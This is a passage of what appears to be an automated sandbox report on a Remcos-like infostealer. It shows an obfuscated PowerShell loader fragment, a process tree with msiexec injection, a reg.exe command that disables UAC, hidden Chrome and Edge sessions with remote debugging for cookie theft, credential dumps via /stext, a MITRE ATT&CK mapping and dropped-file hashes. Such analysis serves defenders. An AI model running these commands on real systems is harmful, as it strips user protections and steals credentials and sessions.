CroOUltrU C nr sh IUnd,nKoorg lie Medh=n ph Opda[Pre,s etrYEo.uSnsvitHy.eE idemblik.n opT ,smeBondXPercTJon..Dob.eR,laNvinkCBib O,egedLoesi Me NHumogFall]M ga:Inde: ugAEle,sDmmeC Pe.i BigiUnc,. .erGBlinESesqtUnmeS Ex tTetrR G.iI rotNU bogBran(samm$FornpPsycHTeokyLynbl visLsstnOA.tis,etht nnOZippm Deti ,ugnHandA Came Bro2Stet6omby)');Natbordets (Counterreforms 'Malp$DeklG onoL Op oTor.b ,liaCa,tlA ad:Sno FMicrLFdreuFireGP titNonaSPro,KGallYSpaldCaudn FinIBrann LetgChroSRevebOni AEp,cnha,de A tR Hy NPer.eLys,= Ant$L ukuTretnUlstF BroaStorvPaciOS edu ilorDr.fi Fa nClasgHyge.GaluSUhanUAdvebuv.dSCatit rotR RedIPirrNSa,rG Und( Udk$ F uBFlygrWastiRet LVitilVittELouksL.niLTotoACostNNa rg xtreSpjtrPapis Dem,Kont$VaassFluieDimiNSandS subIDiffT teOT ksmTautev ejT HadrKod.IMau,CjemaAElevLCo wL GeyyCinq)');Natbordets $Flugtskydningsbanerne;"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:640
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1884
- - C:\Windows\SysWOW64\cmd.exe
    /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3616
  - - C:\Windows\SysWOW64\reg.exe
      C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:2608
- - C:\Program Files\Google\Chrome\Application\Chrome.exe
    --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --window-position=-2400,-2400 --remote-debugging-port=9222 --profile-directory="Default"
    3⤵
    - Uses browser remote debugging
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:4556
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff98cabcc40,0x7ff98cabcc4c,0x7ff98cabcc58
      4⤵
      PID:3580
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2020,i,12593709242737151562,1206022975033233748,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2016 /prefetch:2
      4⤵
      PID:4616
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1908,i,12593709242737151562,1206022975033233748,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2356 /prefetch:3
      4⤵
      PID:4284
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2092,i,12593709242737151562,1206022975033233748,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1984 /prefetch:8
      4⤵
      PID:3736
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3196,i,12593709242737151562,1206022975033233748,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3236 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:3940
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3204,i,12593709242737151562,1206022975033233748,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3292 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:4460
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4640,i,12593709242737151562,1206022975033233748,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4580 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:1716
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\ubsglyvhynoaafcxfvi"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:1060
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\edyzmqgauwgfctqbwgvftm"
    3⤵
    - Accesses Microsoft Outlook accounts
    - System Location Discovery: System Language Discovery
    PID:704
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\pxljnjrcieysmzmngrpgerzpn"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4868
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --window-position=-2400,-2400 --remote-debugging-port=9222 --profile-directory="Default"
    3⤵
    - Uses browser remote debugging
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    PID:1672
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ff98d2d46f8,0x7ff98d2d4708,0x7ff98d2d4718
      4⤵
      PID:3076
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1992,1139411575146228734,2530684321696105830,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2068 /prefetch:2
      4⤵
      PID:2204
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1992,1139411575146228734,2530684321696105830,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 /prefetch:3
      4⤵
      PID:1552
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1992,1139411575146228734,2530684321696105830,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2748 /prefetch:8
      4⤵
      PID:3756
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=1992,1139411575146228734,2530684321696105830,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3296 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:1096
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=1992,1139411575146228734,2530684321696105830,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3312 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:668
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=1992,1139411575146228734,2530684321696105830,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5408 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:5028
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=1992,1139411575146228734,2530684321696105830,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5436 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:3952

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:2912

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2216

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3448

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Modify Authentication Process

T1556

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Authentication Process

T1556

Modify Registry

T1112

Credential Access

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
e7616aaeb696ccb9f59f56f186f79253

SHA1
ab991cdd55ee3bcac7bd604257d32c8589a303df

SHA256
e0d455fa75003e3a8ab22f1fe1746551bf086c997edb3ab274e4f13abfa5c589

SHA512
7a9f6baaa52da4731f7d1d5d5a1d47edc07786e8f40a79a844664a6cc19cdab5b86f30091ce50e8728a21982455ea5fd7a2a9c5a223bac0066f7c647d2fd66c8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
2247453c28acd1eb75cfe181540458a8

SHA1
851fc5a9950d422d76163fdc6a453d6859d56660

SHA256
358b8df2d92a70274c5ec8e50bf6353c37a7fe1855fd9659f610f8a96eac19bd

SHA512
42475e640ee70ab4bd7350dbd970c5862f1597918b6a5e3ee038a10a5c5b883ac61038ecec51a7bfe7cb615798d832fae4a3ead9571f35825a644dee1f2dd7d3

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\settings.dat

Filesize
40B

MD5
295a0a9eeb5b8c38372012255d647da0

SHA1
d5cd27d41d6c7be35c60a90a4add06978de54cc8

SHA256
9bc6887e597840f0529a89e18f2e52f46f0615546f685e93a64c69e878197ef8

SHA512
7c8336e8ec11a05cc5849eb25baec01eb2bb83ed517addbda4d45d23e841f971906a14999fafc19e64216cd26cdaefb6e2f76c10f74e19f2d20c92b0efbb4afd

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\settings.dat

Filesize
152B

MD5
539c7671a1345cf3378f87122b6c159a

SHA1
ef0944d665b55fdb71e38bacd1a733ed8a440973

SHA256
6a64571448c6dd9f738948f27139eb50839ad629ae449d75c172132fc86bfc76

SHA512
d5fcb2805028cc8ad6f9a844f2017dcc646dbc4408b3116e98a5867c731c2fc24e1acf2009d71e333fc95f7e2c2a881cf89ff89fd64ae07e14af618b10aafefb

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\settings.dat

Filesize
152B

MD5
b16c6b2fdf77648ce38d34cf031bdfa9

SHA1
7971061055ae795a49da6ae476a9728a81f3cd42

SHA256
c98c8b83ee1233da40d1fc781938b1a90acd017e9b1a1da5a918ed31d426a82d

SHA512
6b0f1774051c9182d16749ad52f2acb28c4dde122f0b86a89a6a34173a23d210b1fa5e0c210ffd2b9b64c8c70c0f7d8574200ff3302dc8042a0ccfa50dabcc82

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\settings.dat

Filesize
152B

MD5
2decb63ce89ac7c2891a76f9c7ec469f

SHA1
9bf56f5604ab3fd16e2da285c41f0e78314a05a2

SHA256
10b3374dffb9e3fa52b072581cd687b44fe0c1dd0c352d68b11f322ae7255f99

SHA512
94f74f9a1339f517b2689bb7afd76c24c039e08b186c1c5671bb75c5578ad2bff0e625f939de5efe4b4258717cb2617f83af40ae1000c793db0dd725659ad72d

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\throttle_store.dat

Filesize
20B

MD5
9e4e94633b73f4a7680240a0ffd6cd2c

SHA1
e68e02453ce22736169a56fdb59043d33668368f

SHA256
41c91a9c93d76295746a149dce7ebb3b9ee2cb551d84365fff108e59a61cc304

SHA512
193011a756b2368956c71a9a3ae8bc9537d99f52218f124b2e64545eeb5227861d372639052b74d0dd956cb33ca72a9107e069f1ef332b9645044849d14af337

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Cache\Cache_Data\data_1

Filesize
264KB

MD5
d0d388f3865d0523e451d6ba0be34cc4

SHA1
8571c6a52aacc2747c048e3419e5657b74612995

SHA256
902f30c1fb0597d0734bc34b979ec5d131f8f39a4b71b338083821216ec8d61b

SHA512
376011d00de659eb6082a74e862cfac97a9bb508e0b740761505142e2d24ec1c30aa61efbc1c0dd08ff0f34734444de7f77dd90a6ca42b48a4c7fad5f0bddd17

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Code Cache\js\index

Filesize
24B

MD5
54cb446f628b2ea4a5bce5769910512e

SHA1
c27ca848427fe87f5cf4d0e0e3cd57151b0d820d

SHA256
fbcfe23a2ecb82b7100c50811691dde0a33aa3da8d176be9882a9db485dc0f2d

SHA512
8f6ed2e91aed9bd415789b1dbe591e7eab29f3f1b48fdfa5e864d7bf4ae554acc5d82b4097a770dabc228523253623e4296c5023cf48252e1b94382c43123cb0

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Code Cache\js\index-dir\the-real-index

Filesize
48B

MD5
678ba4730967ac54c441f9b2939b19ed

SHA1
aab861b561713cf19ace550a92b5b52fcca27559

SHA256
1e427c4ce024ef3375cc9f8e5c04bc0a5dae0b5d32206e937998cf2a58e48bf2

SHA512
4ac4d7f3d75092f97a8b8cc26fe48451c1861b0108075743a21a6b6dd06f436c396e6c9d68ba7c28bcc92dbae26492b66aabcb2901dd43e0eba0dca93b3dfae8

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Code Cache\wasm\index-dir\the-real-index

Filesize
48B

MD5
1a771907f7fbd608b3b65aae86dd9e16

SHA1
d6778a1ca8e0b6ecc5cfb6c0303775e0b31f4a75

SHA256
97bf9b17b69f7f0184a4f0a42a774052e5018609fd7b9e8f2a745cb5e1853c97

SHA512
047cd3a81198325fae4e2326e4ccbbd7a591519558deb612d123a957467f58c6ae422c2c15813bc0dc98e0ca0b2aea656c4e625686f7e2ff3145dae2a425705d

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Extension State\LOG

Filesize
263B

MD5
fcdd0bd53034477190179a928762532e

SHA1
b52bc76300605b0710db6f7fc659707005a86773

SHA256
9f2e64eb39a1d97e339421bb10a6ddd2d69fbc193573bd5ed144afdf01cc830d

SHA512
f46c1350288105b21f8ae42555b4b93f62aac2043ce0cd3a77f565ef7d51a569eeeb3e7b9c7d813a9786e7c1434e19a2d2d7dd1a90127923f9be3ecaec270120

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Favicons

Filesize
20KB

MD5
b40e1be3d7543b6678720c3aeaf3dec3

SHA1
7758593d371b07423ba7cb84f99ebe3416624f56

SHA256
2db221a44885c046a4b116717721b688f9a026c4cae3a17cf61ba9bef3ad97f4

SHA512
fb0664c1c83043f7c41fd0f1cc0714d81ecd71a07041233fb16fefeb25a3e182a77ac8af9910eff81716b1cceee8a7ee84158a564143b0e0d99e00923106cc16

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\GPUCache\index

Filesize
256KB

MD5
dbfd69309bc03b6684475b3291246999

SHA1
4be80d484dbcfba5378cb6339ecf3280132c4b60

SHA256
5f4e71d5b83c8ce40307c687a52dc7af3752667f2c8f328f27ac71c2982b8ca4

SHA512
ebf8043f8c7b99ca59becfcfdd9bd5bdb9d858d425445366db7ce5b3ca75082d194331820dffbece9e83cc78bc9d8199941633cdeb24ff65b26689f2e0132978

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\History

Filesize
192KB

MD5
d30bfa66491904286f1907f46212dd72

SHA1
9f56e96a6da2294512897ea2ea76953a70012564

SHA256
25bee9c6613b6a2190272775a33471a3280bd9246c386b72d872dc6d6dd90907

SHA512
44115f5aaf16bd3c8767bfb5610eba1986369f2e91d887d20a9631807c58843434519a12c9fd23af38c6adfed4dbf8122258279109968b37174a001320839237

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Local Storage\leveldb\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Local Storage\leveldb\LOG

Filesize
275B

MD5
cb55052166feb1f67edd3e0e05038ec9

SHA1
ae203a6db43858c57ca6e8113d4fc5351909c2b3

SHA256
c36364c7176fb5a25c4263a50dda9bc6383ae7df870f61ce00c1b9cbade6eaee

SHA512
70b80d29d5b7fc7cbc126f21cdea9100a197eff6337a92542c166379b5d05912de99b6c356ea30288ae8fd9a62ce22f3ee38b6e4cb30b11cb0f27bd33bb9fdd2

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Local Storage\leveldb\MANIFEST-000001

Filesize
41B

MD5
5af87dfd673ba2115e2fcf5cfdb727ab

SHA1
d5b5bbf396dc291274584ef71f444f420b6056f1

SHA256
f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4

SHA512
de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Login Data

Filesize
40KB

MD5
a182561a527f929489bf4b8f74f65cd7

SHA1
8cd6866594759711ea1836e86a5b7ca64ee8911f

SHA256
42aad7886965428a941508b776a666a4450eb658cb90e80fae1e7457fc71f914

SHA512
9bc3bf5a82f6f057e873adebd5b7a4c64adef966537ab9c565fe7c4bb3582e2e485ff993d5ab8a6002363231958fabd0933b48811371b8c155eaa74592b66558

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Microsoft Edge.lnk

Filesize
1KB

MD5
d8718a568a25f43ddf83ef169392f137

SHA1
cdb2faad02c9260849dc3c2744cb9a23d6e18b6f

SHA256
5ec115d3677068e2e008afcdc63c42e7da993672cccb7553476c701da1cccd21

SHA512
2d2a8924587f6158bc50c47211dfac79c3b0412b3256b4697290ba4d1504f49bc79b56bbe038f8480cdf50a8aa6b85022b25f398950ac02b38cfb43228e92923

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Network\Cookies

Filesize
20KB

MD5
c2e037e1d6afd62fcd436fa3ccad3911

SHA1
1c54c7499a5eace72a4ddb3b08fe18c0de5b8123

SHA256
90eca07997dab4b6f6e69981bf4da53d6dd567ce27553fd4cbc3dd571357b951

SHA512
586ac65537acce5af7fedbd8a2b9d71b1c5c52b2d4abf4a4693b65c53af55bfcc39ecca349d2a7e73a084c1f434274e59e0bfe5b2c151e18d1a478746e0518f4

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Preferences

Filesize
1KB

MD5
75ccd15392c32f5789d56473fcf12106

SHA1
590e8f29c5d1a2ae786e9caf8b2a7df8b182cd83

SHA256
a5941cbeead39a0ddb8238c464666c8b6b92ec3e2969d9d573e523150426ad48

SHA512
ca0d9fb42c3238cc1c8029594d44458ad6dc9b9f12fb40a4085390b2dab81081af651d665678658e7511f281304b4e149e3d7bb82b507d2025497c9019a461bb

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Preferences

Filesize
5KB

MD5
08feeaa957e8593aabd2b3601e70ead5

SHA1
54f808df104e67ed4c8b4c367d15281926d5f307

SHA256
e2f3e8ce2192d83635b23af533d9d0ef7c5a414ca7ec3f54536a1d9374049d71

SHA512
3ad958d2217976ab9460b39cca537f3f14b119a644ba8e11ec37223e2b993eb2c42789b36cb4e02f9e7f952ffe734fe473b146a24608334fe25a2b930b00295e

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Secure Preferences

Filesize
15KB

MD5
8e666197f26d403b7473ec273b4ae165

SHA1
e824ab02c45390db969bc93bd1a45963396e1c36

SHA256
94d77e580b2c08409a527e2305bccae0402731d130618038bd0c149b195a3d09

SHA512
4a3da340044a0705939f656fb64b668a8d1a0b26792b54a9e7c5ca335a364e5539197ddc1868981112620cf89d1bbcf0b42d908cb88736a2214fe178e2ee2fc0

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Secure Preferences

Filesize
24KB

MD5
d9da18553748a7dc5c566464b0548336

SHA1
d822818c3e1fc35aeae1f4e7a9bf09d54b419d61

SHA256
202353c8bec7eae0ffa43fd9f6b1c0f3d88080c5d60b462641df6bc9970a180a

SHA512
c492d453f0a8dfd54010a26117e8320d4a05bc0a6197fe3439759b6f35c9de6db4052b5efb59b8ac3110ea1434f401274095083ced15f1313b2cd83659993414

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Service Worker\Database\000003.log

Filesize
241B

MD5
9082ba76dad3cf4f527b8bb631ef4bb2

SHA1
4ab9c4a48c186b029d5f8ad4c3f53985499c21b0

SHA256
bff851dedf8fc3ce1f59e7bcd3a39f9e23944bc7e85592a94131e20fd9902ddd

SHA512
621e39d497dece3f3ddf280e23d4d42e4be8518e723ecb82b48f8d315fc8a0b780abe6c7051c512d7959a1f1def3b10b5ed229d1a296443a584de6329275eb40

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Service Worker\Database\LOG

Filesize
279B

MD5
236febb72cdbf7f7082b8a5ede314191

SHA1
fe1768267100288818ba1a9fd45a3ef2be58a579

SHA256
b0ffe2f745f30c4146f0e11549ce154147cbbd13cf33ba97e0c112494e60b1e1

SHA512
baef90b580a9300a5795b1373063ee6acaa0139cba57df570330c09e338399cfd8c542b641e3530b029528be57b5b11ae92b85b19bc314ccabda31ed704092ee

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Session Storage\000003.log

Filesize
80B

MD5
69449520fd9c139c534e2970342c6bd8

SHA1
230fe369a09def748f8cc23ad70fd19ed8d1b885

SHA256
3f2e9648dfdb2ddb8e9d607e8802fef05afa447e17733dd3fd6d933e7ca49277

SHA512
ea34c39aea13b281a6067de20ad0cda84135e70c97db3cdd59e25e6536b19f7781e5fc0ca4a11c3618d43fc3bd3fbc120dd5c1c47821a248b8ad351f9f4e6367

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Session Storage\LOG

Filesize
263B

MD5
f8859f26f053a75ec2ea80d0ef3d0a98

SHA1
1e9f94a8a044d20a3317d528d6c386c8922b3b9c

SHA256
ae69e0d444ee29fd08da6f0f9c39ef02889120c30e75adbb32e7b00f986138d4

SHA512
46b72be35c6724335a6e554ce5b1b70cc12a651e88549a29f57baf0b04eabac36e9ff1d69ec42f3b10cbd34f31c4dee9595c7e94d1ca961dcb01f80d0e6df85a

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Site Characteristics Database\000003.log

Filesize
40B

MD5
148079685e25097536785f4536af014b

SHA1
c5ff5b1b69487a9dd4d244d11bbafa91708c1a41

SHA256
f096bc366a931fba656bdcd77b24af15a5f29fc53281a727c79f82c608ecfab8

SHA512
c2556034ea51abfbc172eb62ff11f5ac45c317f84f39d4b9e3ddbd0190da6ef7fa03fe63631b97ab806430442974a07f8e81b5f7dc52d9f2fcdc669adca8d91f

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Site Characteristics Database\LOG

Filesize
293B

MD5
a8cfa24d7a4020a46e9e42fcf5d80a6d

SHA1
a5707de05615209bd4abcdf6394bf48360e771aa

SHA256
ac6caca4445209889f3dc059c63f6d70f9b4c8a22d6968ead6dd2a53790c0162

SHA512
94f014dcdc5e44c855f965b2e727bd3af28b310646212465354449787368121b47a9b832f69a63b8dc6e7b63a712766589b75a06b6cd9ea4af1f2416bc0541af

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Sync Data\LevelDB\000003.log

Filesize
46B

MD5
90881c9c26f29fca29815a08ba858544

SHA1
06fee974987b91d82c2839a4bb12991fa99e1bdd

SHA256
a2ca52e34b6138624ac2dd20349cde28482143b837db40a7f0fbda023077c26a

SHA512
